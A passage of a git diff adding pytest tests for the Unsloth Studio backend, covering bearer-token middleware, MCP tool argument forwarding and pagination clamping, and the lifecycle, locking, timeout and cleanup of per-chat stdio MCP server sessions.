+            None,
+            send,
+        )
+    )
+
+    assert events == [{"type": "websocket.close", "code": 4401}]
+
+
+def test_bearer_token_middleware_rejects_non_ascii_authorization():
+    # A non-ASCII bearer value must produce a clean 401, not a 500. Comparing on
+    # bytes avoids the str hmac.compare_digest TypeError on non-ASCII input.
+    events = []
+
+    async def app(scope, receive, send):
+        events.append("app")
+
+    async def send(message):
+        events.append(message)
+
+    middleware = BearerTokenMiddleware(app, "secret")
+    asyncio.run(
+        middleware(
+            {"type": "http", "headers": [(b"authorization", b"Bearer \xff\xff")]},
+            None,
+            send,
+        )
+    )
+
+    assert events[0]["status"] == 401
+    assert "app" not in events
+
+
+def test_bearer_token_middleware_accepts_correct_token():
+    events = []
+
+    async def app(scope, receive, send):
+        events.append("app")
+
+    async def send(message):
+        events.append(message)
+
+    middleware = BearerTokenMiddleware(app, "secret")
+    asyncio.run(
+        middleware(
+            {"type": "http", "headers": [(b"authorization", b"Bearer secret")]},
+            None,
+            send,
+        )
+    )
+
+    assert events == ["app"]
+
+
+def test_bearer_token_middleware_requires_non_empty_token():
+    async def app(scope, receive, send):
+        pass
+
+    for bad in ("", "   "):
+        with pytest.raises(ValueError):
+            BearerTokenMiddleware(app, bad)
+
+
+def test_bearer_token_middleware_rejects_non_ascii_token():
+    async def app(scope, receive, send):
+        pass
+
+    # non-ASCII tokens cannot be transmitted in an HTTP header by a standard
+    # client, so they are rejected at construction instead of locking out.
+    for bad in ("töken", "\U0001f600"):
+        with pytest.raises(ValueError):
+            BearerTokenMiddleware(app, bad)
+
+
+def test_bearer_token_middleware_passes_through_non_http_scopes():
+    events = []
+
+    async def app(scope, receive, send):
+        events.append("app")
+
+    async def send(message):
+        events.append(message)
+
+    middleware = BearerTokenMiddleware(app, "secret")
+    asyncio.run(middleware({"type": "lifespan"}, None, send))
+
+    assert events == ["app"]
+
+
+def test_clamp_restricts_to_inclusive_bounds():
+    assert _clamp(5, 1, 200) == 5
+    assert _clamp(-10, 1, 200) == 1
+    assert _clamp(10_000, 1, 200) == 200
+    assert _clamp(0, 1, 500) == 1
+    assert _clamp(1_000, 1, 500) == 500
+
+
+def test_export_and_checkpoint_tools_expose_forwarded_fields():
+    export_props = set(_get_tool("export_gguf").parameters["properties"])
+    assert {"hf_token", "imatrix", "imatrix_path"} <= export_props
+
+    checkpoint_props = set(_get_tool("load_checkpoint").parameters["properties"])
+    assert {"hf_token", "approved_remote_code_fingerprint"} <= checkpoint_props
+
+
+def _stub_module(monkeypatch, name, **attrs):
+    module = types.ModuleType(name)
+    for key, value in attrs.items():
+        setattr(module, key, value)
+    if "." in name:
+        module.__path__ = []  # mark package-like so submodule imports resolve
+    monkeypatch.setitem(sys.modules, name, module)
+    return module
+
+
+def test_export_gguf_forwards_hf_token_and_imatrix(monkeypatch):
+    captured = {}
+
+    class FakeExportGGUFRequest:
+        def __init__(self, **kwargs):
+            captured.update(kwargs)
+
+    async def fake_export(request, current_subject):
+        return {"current_subject": current_subject}
+
+    _stub_module(monkeypatch, "models", ExportGGUFRequest = FakeExportGGUFRequest)
+    _stub_module(monkeypatch, "routes")
+    _stub_module(monkeypatch, "routes.export", export_gguf = fake_export)
+
+    tool = _get_tool("export_gguf")
+    result = asyncio.run(
+        tool.fn(
+            save_directory = "/tmp/out",
+            quantization_method = ["Q4_K_M", "Q8_0"],
+            push_to_hub = True,
+            repo_id = "me/model",
+            hf_token = "hf_secret",
+            imatrix = True,
+            imatrix_path = "/tmp/imatrix.dat",
+        )
+    )
+
+    assert captured["hf_token"] == "hf_secret"
+    assert captured["imatrix"] is True
+    assert captured["imatrix_path"] == "/tmp/imatrix.dat"
+    assert captured["quantization_method"] == ["Q4_K_M", "Q8_0"]
+    assert result["current_subject"] == "mcp"
+
+
+def test_load_checkpoint_forwards_token_and_fingerprint(monkeypatch):
+    captured = {}
+
+    class FakeLoadCheckpointRequest:
+        def __init__(self, **kwargs):
+            captured.update(kwargs)
+
+    async def fake_load(request, current_subject):
+        return {"current_subject": current_subject}
+
+    _stub_module(monkeypatch, "models", LoadCheckpointRequest = FakeLoadCheckpointRequest)
+    _stub_module(monkeypatch, "routes")
+    _stub_module(monkeypatch, "routes.export", load_checkpoint = fake_load)
+
+    tool = _get_tool("load_checkpoint")
+    asyncio.run(
+        tool.fn(
+            checkpoint_path = "/tmp/ckpt",
+            approved_remote_code_fingerprint = "sha256:abc",
+            hf_token = "hf_secret",
+        )
+    )
+
+    assert captured["hf_token"] == "hf_secret"
+    assert captured["approved_remote_code_fingerprint"] == "sha256:abc"
+
+
+def test_list_training_runs_clamps_pagination(monkeypatch):
+    captured = {}
+
+    async def fake_list_runs(limit, offset, current_subject):
+        captured["limit"] = limit
+        captured["offset"] = offset
+        return {"ok": True}
+
+    _stub_module(monkeypatch, "routes")
+    _stub_module(monkeypatch, "routes.training_history", list_training_runs = fake_list_runs)
+
+    tool = _get_tool("list_training_runs")
+    asyncio.run(tool.fn(limit = 10_000, offset = -5))
+
+    assert captured["limit"] == 200
+    assert captured["offset"] == 0
+
+
+def test_get_recipe_job_dataset_clamps_pagination(monkeypatch):
+    captured = {}
+
+    def fake_job_dataset(job_id, limit, offset):
+        captured["limit"] = limit
+        captured["offset"] = offset
+        return {"ok": True}
+
+    _stub_module(monkeypatch, "routes")
+    _stub_module(monkeypatch, "routes.data_recipe")
+    _stub_module(monkeypatch, "routes.data_recipe.jobs", job_dataset = fake_job_dataset)
+
+    tool = _get_tool("get_recipe_job_dataset")  # this tool is synchronous
+    tool.fn(job_id = "job-1", limit = -1, offset = -9)
+
+    assert captured["limit"] == 1
+    assert captured["offset"] == 0
diff --git a/studio/backend/tests/test_mcp_servers.py b/studio/backend/tests/test_mcp_servers.py
index 12239e7113..c5c37f098f 100644
--- a/studio/backend/tests/test_mcp_servers.py
+++ b/studio/backend/tests/test_mcp_servers.py
@@ -198,7 +198,12 @@ def test_call_tool_sync_respects_pre_set_cancel_event(monkeypatch):
         async def __aexit__(self, *args):
             return False
 
-        async def call_tool(self, name, args):
+        async def call_tool(
+            self,
+            name,
+            args,
+            raise_on_error = True,
+        ):
             import asyncio as _asyncio
             await _asyncio.sleep(30)  # never finishes during the test
 
@@ -520,7 +525,12 @@ def test_call_tool_sync_short_circuits_on_pre_set_cancel(monkeypatch):
         async def __aexit__(self, *args):
             return False
 
-        async def call_tool(self, name, args):
+        async def call_tool(
+            self,
+            name,
+            args,
+            raise_on_error = True,
+        ):
             return "ran"
 
     monkeypatch.setattr(mcp_client, "_client", lambda *a, **kw: _StubClient())
@@ -567,7 +577,7 @@ def test_clear_oauth_tokens_swallows_constructor_errors(tmp_path, monkeypatch):
 
 def test_tool_xml_parser_handles_hyphenated_function_names():
     """Hyphenated tool names like `mcp__srv__list-issues` must parse, else the
-    model can call the tool but Studio can't dispatch."""
+    model can call the tool but Unsloth can't dispatch."""
     from core.inference.tool_call_parser import parse_tool_calls_from_text
 
     calls = parse_tool_calls_from_text(
@@ -587,10 +597,12 @@ def test_tool_xml_strip_handles_hyphenated_function_names():
     import re as _re
     from pathlib import Path
 
+    from core.inference.tool_call_parser import _DEEPSEEK_OPEN_RE_SRC as _DS_OPEN_SRC
+
     src = (Path(__file__).resolve().parent.parent / "routes/inference.py").read_text()
     m = _re.search(r"_TOOL_XML_RE = _re\.compile\((.*?)\n\)", src, _re.DOTALL)
     assert m, "could not extract _TOOL_XML_RE"
-    ns: dict = {"_re": _re}
+    ns: dict = {"_re": _re, "_DS_OPEN_SRC": _DS_OPEN_SRC}
     exec(f"_TOOL_XML_RE = _re.compile({m.group(1)})", ns)
     rx = ns["_TOOL_XML_RE"]
     stripped = rx.sub(
@@ -785,6 +797,68 @@ def test_update_display_name_keeps_tool_cache(tmp_path, monkeypatch):
     assert mcp_client.get_cached_tools("s1") == cached
 
 
+def test_update_rename_keeps_stdio_session(tmp_path, monkeypatch):
+    """The edit dialog resends url/headers/oauth unchanged on a rename, so gating
+    the close on field presence would drop the live stdio session. Only a real
+    endpoint/auth change may close it."""
+    import asyncio
+    import json
+
+    _reset_db(tmp_path, monkeypatch)
+    from models.mcp_servers import McpServerUpdate
+    import routes.mcp_servers as routes_mcp
+
+    closed: list = []
+    monkeypatch.setattr(routes_mcp, "stdio_mcp_enabled", lambda: True)
+    monkeypatch.setattr(routes_mcp, "close_stdio_sessions", lambda *a, **k: closed.append(a))
+    mcp_servers_db.create_server(
+        id = "s1",
+        display_name = "A",
+        url = "npx demo-server",
+        headers_json = json.dumps({"API_KEY": "x"}),
+        is_enabled = True,
+    )
+    asyncio.run(
+        routes_mcp.update_mcp_server(
+            "s1",
+            McpServerUpdate(
+                display_name = "B",
+                url = "npx demo-server",
+                headers = {"API_KEY": "x"},
+                use_oauth = False,
+            ),
+            current_subject = "u",
+        )
+    )
+    assert closed == []
+    assert mcp_servers_db.get_server("s1")["display_name"] == "B"
+
+
+def test_update_stdio_command_change_closes_session(tmp_path, monkeypatch):
+    """A real command change must still close the old stdio session."""
+    import asyncio
+
+    _reset_db(tmp_path, monkeypatch)
+    from models.mcp_servers import McpServerUpdate
+    import routes.mcp_servers as routes_mcp
+
+    closed: list = []
+    monkeypatch.setattr(routes_mcp, "stdio_mcp_enabled", lambda: True)
+    monkeypatch.setattr(routes_mcp, "close_stdio_sessions", lambda *a, **k: closed.append(a))
+    mcp_servers_db.create_server(
+        id = "s1",
+        display_name = "A",
+        url = "npx demo-server",
+        is_enabled = True,
+    )
+    asyncio.run(
+        routes_mcp.update_mcp_server(
+            "s1", McpServerUpdate(url = "npx other-server"), current_subject = "u"
+        )
+    )
+    assert len(closed) == 1
+
+
 def test_update_disable_evicts_tool_cache(tmp_path, monkeypatch):
     """Disabling a server must drop its cached tools, not leave them unread."""
     import asyncio
diff --git a/studio/backend/tests/test_mcp_stdio_improvements.py b/studio/backend/tests/test_mcp_stdio_improvements.py
index b0bfd45135..745c2cc447 100644
--- a/studio/backend/tests/test_mcp_stdio_improvements.py
+++ b/studio/backend/tests/test_mcp_stdio_improvements.py
@@ -188,7 +188,7 @@ def test_validate_url_allows_url_in_argument(monkeypatch):
 
 
 # ── P6: Data Recipe stdio path obeys the same host gate ─────────────
-# build_mcp_providers needs the Studio-only data_designer plugin; skip if absent.
+# build_mcp_providers needs the Unsloth-only data_designer plugin; skip if absent.
 
 _STDIO_RECIPE = {
     "mcp_providers": [
diff --git a/studio/backend/tests/test_mcp_stdio_pr5863.py b/studio/backend/tests/test_mcp_stdio_pr5863.py
index 15fe553fb2..1cb1211cf2 100644
--- a/studio/backend/tests/test_mcp_stdio_pr5863.py
+++ b/studio/backend/tests/test_mcp_stdio_pr5863.py
@@ -93,7 +93,12 @@ class _RecordingClient:
     async def list_tools(self):
         return [_FakeTool("list_directory"), _FakeTool("write_file")]
 
-    async def call_tool(self, name, args):
+    async def call_tool(
+        self,
+        name,
+        args,
+        raise_on_error = True,
+    ):
         return _FakeResult(f"called {name}")
 
 
diff --git a/studio/backend/tests/test_mcp_stdio_sessions.py b/studio/backend/tests/test_mcp_stdio_sessions.py
new file mode 100644
index 0000000000..d714d9d640
--- /dev/null
+++ b/studio/backend/tests/test_mcp_stdio_sessions.py
@@ -0,0 +1,629 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from __future__ import annotations
+
+import asyncio
+import sys
+import threading
+import time
+from pathlib import Path
+from types import SimpleNamespace
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from core.inference import mcp_client
+from core.inference.mcp_client import call_tool_sync, close_stdio_sessions
+
+STDIO_URL = "npx fake-stateful-server"
+HTTP_URL = "https://mcp.example.test/mcp"
+
+
+def _result(text: str) -> SimpleNamespace:
+    return SimpleNamespace(
+        content = [SimpleNamespace(type = "text", text = text)],
+        is_error = False,
+        structured_content = None,
+    )
+
+
+class FakeClient:
+    instances: list["FakeClient"] = []
+
+    def __init__(self, url: str):
+        self.url = url
+        self.entered = 0
+        self.exited = 0
+        self.calls: list[tuple[str, dict]] = []
+        self.connected = False
+        self.fail_next = False
+        self.call_delay = 0.0
+        # Models a dead stdio transport: real Client.is_connected() stays True
+        # after the subprocess dies, so liveness is probed via the transport.
+        self.dead = False
+        self.transport = SimpleNamespace(_is_session_dead = lambda: self.dead)
+        FakeClient.instances.append(self)
+
+    async def __aenter__(self):
+        self.entered += 1
+        self.connected = True
+        return self
+
+    async def __aexit__(self, *exc):
+        self.exited += 1
+        self.connected = False
+
+    def is_connected(self) -> bool:
+        return self.connected
+
+    async def call_tool(self, name: str, args: dict):
+        if self.call_delay:
+            await asyncio.sleep(self.call_delay)
+        if self.fail_next:
+            self.fail_next = False
+            self.connected = False
+            raise RuntimeError("transport closed")
+        self.calls.append((name, args))
+        return _result(f"call-{len(self.calls)}")
+
+
+@pytest.fixture
+def fake_clients(monkeypatch):
+    FakeClient.instances = []
+    monkeypatch.setattr(
+        mcp_client, "_client", lambda url, headers, use_oauth = False: FakeClient(url)
+    )
+    yield FakeClient.instances
+    close_stdio_sessions()
+
+
+def test_stdio_call_without_scope_is_one_shot(fake_clients):
+    r1 = call_tool_sync(STDIO_URL, None, "browser_navigate", {"url": "https://x.test"})
+    r2 = call_tool_sync(STDIO_URL, None, "browser_take_screenshot", {})
+    assert r1 == "call-1"
+    assert r2 == "call-1"
+    assert len(fake_clients) == 2
+    assert all(client.entered == 1 and client.exited == 1 for client in fake_clients)
+
+
+def test_stdio_sessions_keyed_by_url_and_env(fake_clients):
+    call_tool_sync(STDIO_URL, None, "t", {})
+    call_tool_sync("npx other-server", None, "t", {})
+    call_tool_sync(STDIO_URL, {"ENV_VAR": "1"}, "t", {})
+    assert len(fake_clients) == 3
+
+
+def test_stdio_sessions_scoped_per_chat(fake_clients):
+    # Two conversations must not share one stateful server process.
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat-a")
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat-b")
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat-a")
+    assert len(fake_clients) == 2
+    assert fake_clients[0].calls and len(fake_clients[0].calls) == 2
+
+
+def test_dead_stdio_session_recovers(fake_clients):
+    assert call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat") == "call-1"
+    # Subprocess dies between calls: the dead transport is detected before the
+    # next dispatch, so the call reconnects on a fresh session instead of failing.
+    fake_clients[0].dead = True
+    assert call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat") == "call-1"
+    assert len(fake_clients) == 2
+    assert fake_clients[0].exited == 1
+
+
+def test_tool_error_does_not_recycle_session(fake_clients, monkeypatch):
+    from fastmcp.exceptions import ToolError
+
+    class ToolFailure(FakeClient):
+        async def call_tool(self, name, args):
+            if name == "boom":
+                raise ToolError("tool exploded")  # tool-level: session stays connected
+            return await super().call_tool(name, args)
+
+    monkeypatch.setattr(
+        mcp_client, "_client", lambda url, headers, use_oauth = False: ToolFailure(url)
+    )
+    assert call_tool_sync(STDIO_URL, None, "boom", {}, scope = "chat").startswith("Error: MCP tool")
+    assert call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat") == "call-1"
+    assert len(fake_clients) == 1
+
+
+def test_http_stays_one_shot(fake_clients):
+    call_tool_sync(HTTP_URL, None, "t", {})
+    call_tool_sync(HTTP_URL, None, "t", {})
+    assert len(fake_clients) == 2
+    assert all(c.entered == 1 and c.exited == 1 for c in fake_clients)
+
+
+def test_timeout_discards_stdio_session(fake_clients):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    key = mcp_client._session_key(STDIO_URL, None, "chat")
+    fake_clients[0].call_delay = 0.5
+    out = call_tool_sync(
+        STDIO_URL,
+        None,
+        "slow",
+        {},
+        timeout = 0.05,
+        cancel_event = threading.Event(),
+        scope = "chat",
+    )
+    assert "timed out" in out
+    assert fake_clients[0].exited == 1
+    assert key not in mcp_client._stdio_key_locks
+    assert call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat") == "call-1"
+    assert len(fake_clients) == 2
+
+
+def test_no_timeout_allows_long_call(fake_clients):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    fake_clients[0].call_delay = 0.2
+    # timeout=None means no deadline: the call must not be treated as wedged.
+    assert call_tool_sync(STDIO_URL, None, "slow", {}, timeout = None, scope = "chat") == "call-2"
+
+
+def test_connect_races_cancel_event(fake_clients, monkeypatch):
+    class SlowStart(FakeClient):
+        async def __aenter__(self):
+            await asyncio.sleep(5.0)
+            return await super().__aenter__()
+
+    monkeypatch.setattr(mcp_client, "_client", lambda url, headers, use_oauth = False: SlowStart(url))
+    ev = threading.Event()
+    threading.Timer(0.1, ev.set).start()
+    start = time.monotonic()
+    out = call_tool_sync(STDIO_URL, None, "t", {}, cancel_event = ev)
+    assert out == "Error: MCP tool 't' cancelled"
+    assert time.monotonic() - start < 3.0
+    assert mcp_client._stdio_sessions == {}
+
+
+def test_connect_respects_caller_timeout(fake_clients, monkeypatch):
+    class SlowStart(FakeClient):
+        async def __aenter__(self):
+            await asyncio.sleep(5.0)
+            return await super().__aenter__()
+
+    monkeypatch.setattr(mcp_client, "_client", lambda url, headers, use_oauth = False: SlowStart(url))
+    start = time.monotonic()
+    out = call_tool_sync(STDIO_URL, None, "t", {}, timeout = 0.2)
+    assert "timed out" in out
+    assert time.monotonic() - start < 3.0
+    assert mcp_client._stdio_sessions == {}
+
+
+def test_connect_failure_timeout_surfaces_immediately(fake_clients, monkeypatch):
+    class InitTimeout(FakeClient):
+        async def __aenter__(self):
+            raise asyncio.TimeoutError  # e.g. fastmcp's own init timeout
+
+    monkeypatch.setattr(
+        mcp_client, "_client", lambda url, headers, use_oauth = False: InitTimeout(url)
+    )
+    start = time.monotonic()
+    out = call_tool_sync(STDIO_URL, None, "t", {}, timeout = 30.0)
+    assert "timed out" in out
+    # Must fail fast, not wait out the 30s/60s connect window.
+    assert time.monotonic() - start < 5.0
+    assert mcp_client._stdio_sessions == {}
+
+
+def test_key_lock_wait_honors_cancel_and_timeout(fake_clients, monkeypatch):
+    class SlowStart(FakeClient):
+        async def __aenter__(self):
+            await asyncio.sleep(1.5)
+            return await super().__aenter__()
+
+    monkeypatch.setattr(mcp_client, "_client", lambda url, headers, use_oauth = False: SlowStart(url))
+    first = threading.Thread(target = lambda: call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat"))
+    first.start()
+    key = mcp_client._session_key(STDIO_URL, None, "chat")
+    deadline = time.monotonic() + 5.0
+    while time.monotonic() < deadline:
+        key_lock = mcp_client._stdio_key_locks.get(key)
+        if key_lock is not None and key_lock.lock.locked():
+            break
+        time.sleep(0.01)
+    # Second same-scope call is stuck behind the first slow connect: Stop must
+    # interrupt the key-lock wait, and a short tool timeout must bound it.
+    ev = threading.Event()
+    threading.Timer(0.2, ev.set).start()
+    start = time.monotonic()
+    out = call_tool_sync(STDIO_URL, None, "t", {}, cancel_event = ev, scope = "chat")
+    assert out == "Error: MCP tool 't' cancelled"
+    assert time.monotonic() - start < 1.0
+    start = time.monotonic()
+    out = call_tool_sync(STDIO_URL, None, "t", {}, timeout = 0.2, scope = "chat")
+    assert "timed out" in out
+    assert time.monotonic() - start < 1.0
+    first.join(10.0)
+    assert not first.is_alive()
+
+
+def test_cancel_pre_set_spawns_nothing(fake_clients):
+    ev = threading.Event()
+    ev.set()
+    out = call_tool_sync(STDIO_URL, None, "t", {}, cancel_event = ev)
+    assert out == "Error: MCP tool 't' cancelled"
+    assert fake_clients == []
+
+
+def test_idle_reap_closes_session(fake_clients, monkeypatch):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    key = mcp_client._session_key(STDIO_URL, None, "chat")
+    assert key in mcp_client._stdio_key_locks
+    monkeypatch.setattr(mcp_client, "_STDIO_SESSION_IDLE_TTL", 0.0)
+    mcp_client._reap_idle_stdio_sessions()
+    assert fake_clients[0].exited == 1
+    assert mcp_client._stdio_sessions == {}
+    assert key not in mcp_client._stdio_key_locks
+    # Next call transparently opens a fresh session.
+    assert call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat") == "call-1"
+    assert len(fake_clients) == 2
+
+
+def test_reap_skips_in_flight_session(fake_clients, monkeypatch):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    monkeypatch.setattr(mcp_client, "_STDIO_SESSION_IDLE_TTL", 0.0)
+    session = next(iter(mcp_client._stdio_sessions.values()))
+    with mcp_client._stdio_sessions_lock:
+        session.in_flight = 1
+    try:
+        mcp_client._reap_idle_stdio_sessions()
+        assert fake_clients[0].exited == 0
+    finally:
+        with mcp_client._stdio_sessions_lock:
+            session.in_flight = 0
+
+
+def test_close_during_connect_is_not_cached(fake_clients, monkeypatch):
+    class SlowStart(FakeClient):
+        async def __aenter__(self):
+            await asyncio.sleep(0.5)
+            return await super().__aenter__()
+
+    monkeypatch.setattr(mcp_client, "_client", lambda url, headers, use_oauth = False: SlowStart(url))
+    results: list[str] = []
+    worker = threading.Thread(
+        target = lambda: results.append(call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat"))
+    )
+    worker.start()
+    deadline = time.monotonic() + 5.0
+    while not fake_clients and time.monotonic() < deadline:
+        time.sleep(0.01)
+    assert fake_clients  # connect is in progress
+    # Server deleted/updated mid-connect: the session must not be cached after.
+    close_stdio_sessions(STDIO_URL)
+    worker.join(10.0)
+    assert results and results[0].startswith("Error: MCP tool 't' failed")
+    assert mcp_client._stdio_sessions == {}
+    assert fake_clients[0].exited == 1
+
+
+def test_connect_abort_race_still_closes_client(fake_clients, monkeypatch):
+    class WinsRace(FakeClient):
+        async def __aenter__(self):
+            try:
+                await asyncio.sleep(5.0)
+            except asyncio.CancelledError:
+                pass  # connect finishes just as the abort lands
+            return await super().__aenter__()
+
+    monkeypatch.setattr(mcp_client, "_client", lambda url, headers, use_oauth = False: WinsRace(url))
+    out = call_tool_sync(STDIO_URL, None, "t", {}, timeout = 0.1)
+    assert "timed out" in out
+    assert fake_clients[0].entered == 1
+    assert fake_clients[0].exited == 1  # no orphaned subprocess
+    assert mcp_client._stdio_sessions == {}
+
+
+def test_close_unblocks_no_limit_call(fake_clients):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    session = next(iter(mcp_client._stdio_sessions.values()))
+    fake_clients[0].call_delay = 30.0
+    results: list[str] = []
+    worker = threading.Thread(
+        target = lambda: results.append(
+            call_tool_sync(STDIO_URL, None, "slow", {}, timeout = None, scope = "chat")
+        )
+    )
+    worker.start()
+    deadline = time.monotonic() + 5.0
+    while time.monotonic() < deadline:
+        with mcp_client._stdio_sessions_lock:
+            if session.in_flight >= 1:
+                break
+        time.sleep(0.01)
+    # Server deleted while a no-limit call is in flight: the request thread
+    # must not hang forever on the stopped session loop.
+    close_stdio_sessions(STDIO_URL)
+    worker.join(5.0)
+    assert not worker.is_alive()
+    assert results and results[0].startswith("Error: MCP tool 'slow' failed")
+
+
+def test_lock_wait_timeout_spares_the_borrowed_session(fake_clients):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    session = next(iter(mcp_client._stdio_sessions.values()))
+    fake_clients[0].call_delay = 1.0
+    results: list[str] = []
+    slow = threading.Thread(
+        target = lambda: results.append(
+            call_tool_sync(STDIO_URL, None, "slow", {}, timeout = None, scope = "chat")
+        )
+    )
+    slow.start()
+    deadline = time.monotonic() + 5.0
+    while time.monotonic() < deadline:
+        with mcp_client._stdio_sessions_lock:
+            if session.in_flight >= 1:
+                break
+        time.sleep(0.01)
+    # A second same-scope call times out waiting for the call lock; it never
+    # touched the transport, so the shared session must stay alive and cached.
+    out = call_tool_sync(STDIO_URL, None, "fast", {}, timeout = 0.05, scope = "chat")
+    assert "timed out" in out
+    assert fake_clients[0].exited == 0
+    slow.join(10.0)
+    assert results == ["call-2"]
+    assert fake_clients[0].exited == 0
+    assert len(mcp_client._stdio_sessions) == 1
+
+
+def test_stale_session_close_deferred_until_borrower_drains(fake_clients):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    session = next(iter(mcp_client._stdio_sessions.values()))
+    fake_clients[0].call_delay = 0.8
+    results: list[str] = []
+    slow = threading.Thread(
+        target = lambda: results.append(
+            call_tool_sync(STDIO_URL, None, "slow", {}, timeout = None, scope = "chat")
+        )
+    )
+    slow.start()
+    deadline = time.monotonic() + 5.0
+    while time.monotonic() < deadline:
+        with mcp_client._stdio_sessions_lock:
+            if session.in_flight >= 1:
+                break
+        time.sleep(0.01)
+    # The subprocess "dies" mid-call: a new caller replaces the stale session,
+    # but its close must wait for the slow borrower instead of killing its call.
+    fake_clients[0].connected = False
+    out = call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    assert out == "call-1"
+    assert len(fake_clients) == 2
+    assert fake_clients[0].exited == 0
+    slow.join(10.0)
+    assert results == ["call-2"]
+    assert fake_clients[0].exited == 1  # last borrower performed the deferred close
+    assert len(mcp_client._stdio_sessions) == 1
+
+
+def test_error_on_closed_session_does_not_retry(fake_clients):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    session = next(iter(mcp_client._stdio_sessions.values()))
+    # A close can surface at the borrower as a plain transport error instead
+    # of _SessionClosed; that must not be treated as a crash and retried.
+    fake_clients[0].fail_next = True
+    session.closed.set()
+    out = call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    assert out == "Error: MCP tool 't' failed: MCP server was updated or removed during the call"
+    assert len(fake_clients) == 1  # no respawn for the removed config
+
+
+def test_config_check_blocks_stale_publish(fake_clients):
+    # Simulates a caller that read the server row before an update/delete:
+    # the row re-check runs after connect and must block caching.
+    out = call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat", config_check = lambda: False)
+    assert out.startswith("Error: MCP tool 't' failed")
+    assert mcp_client._stdio_sessions == {}
+    assert fake_clients[0].exited == 1
+
+
+def test_close_generation_keys_hold_no_secrets(fake_clients):
+    secret_url = "npx server --token sk-url-secret"
+    close_stdio_sessions(secret_url, {"API_KEY": "sk-env-secret"})
+    close_stdio_sessions(secret_url)
+    gen_keys = list(mcp_client._stdio_cfg_close_gen) + list(mcp_client._stdio_url_close_gen)
+    assert gen_keys
+    # These maps are never pruned: neither command/URL nor env may persist.
+    assert all("sk-url-secret" not in repr(k) and "sk-env-secret" not in repr(k) for k in gen_keys)
+
+
+def test_overlapping_calls_serialize_on_shared_session(fake_clients, monkeypatch):
+    class OverlapDetect(FakeClient):
+        active = 0
+        max_active = 0
+
+        async def call_tool(self, name, args):
+            OverlapDetect.active += 1
+            OverlapDetect.max_active = max(OverlapDetect.max_active, OverlapDetect.active)
+            try:
+                await asyncio.sleep(0.2)
+                return await super().call_tool(name, args)
+            finally:
+                OverlapDetect.active -= 1
+
+    monkeypatch.setattr(
+        mcp_client, "_client", lambda url, headers, use_oauth = False: OverlapDetect(url)
+    )
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    workers = [
+        threading.Thread(target = lambda: call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat"))
+        for _ in range(2)
+    ]
+    for worker in workers:
+        worker.start()
+    for worker in workers:
+        worker.join(10.0)
+    # A stateful server must never see interleaved same-scope operations.
+    assert OverlapDetect.max_active == 1
+    assert len(fake_clients) == 1
+
+
+def test_timeout_budget_spans_connect_and_call(fake_clients, monkeypatch):
+    class SlowBoth(FakeClient):
+        async def __aenter__(self):
+            await asyncio.sleep(0.4)
+            return await super().__aenter__()
+
+        async def call_tool(self, name, args):
+            await asyncio.sleep(0.5)
+            return await super().call_tool(name, args)
+
+    monkeypatch.setattr(mcp_client, "_client", lambda url, headers, use_oauth = False: SlowBoth(url))
+    start = time.monotonic()
+    # 0.4s connect + 0.5s call vs a 0.6s budget: the call must inherit only
+    # the remaining ~0.2s, not a fresh full window.
+    out = call_tool_sync(STDIO_URL, None, "t", {}, timeout = 0.6, scope = "chat")
+    assert "timed out" in out
+    assert time.monotonic() - start < 2.0
+
+
+def test_close_narrowed_by_headers_spares_other_env(fake_clients):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    call_tool_sync(STDIO_URL, {"ENV_VAR": "b"}, "t", {}, scope = "chat")
+    # Two server rows can share a command with different envs; editing one
+    # must only close its own sessions.
+    close_stdio_sessions(STDIO_URL, None)
+    assert fake_clients[0].exited == 1
+    assert fake_clients[1].exited == 0
+    assert len(mcp_client._stdio_sessions) == 1
+    close_stdio_sessions(STDIO_URL)  # headers omitted: any env for the command
+    assert fake_clients[1].exited == 1
+    assert mcp_client._stdio_sessions == {}
+
+
+def test_close_stdio_sessions_by_url(fake_clients):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    call_tool_sync("npx other-server", None, "t", {}, scope = "chat")
+    key = mcp_client._session_key(STDIO_URL, None, "chat")
+    close_stdio_sessions(STDIO_URL)
+    assert fake_clients[0].exited == 1
+    assert fake_clients[1].exited == 0
+    assert len(mcp_client._stdio_sessions) == 1
+    assert key not in mcp_client._stdio_key_locks
+
+
+def test_execute_tool_mcp_scope_is_per_thread(tmp_path, monkeypatch):
+    # session_id is the sandbox id and can be shared project-wide; the stdio
+    # session scope must also carry the per-conversation thread id.
+    from core.inference import tools as tools_mod
+    from storage import mcp_servers_db
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path))
+    monkeypatch.setattr(mcp_servers_db, "_schema_ready", False)
+    monkeypatch.setattr(tools_mod, "stdio_mcp_enabled", lambda: True)
+    mcp_servers_db.create_server(id = "s1", display_name = "S", url = STDIO_URL, is_enabled = True)
+
+    scopes: list = []
+
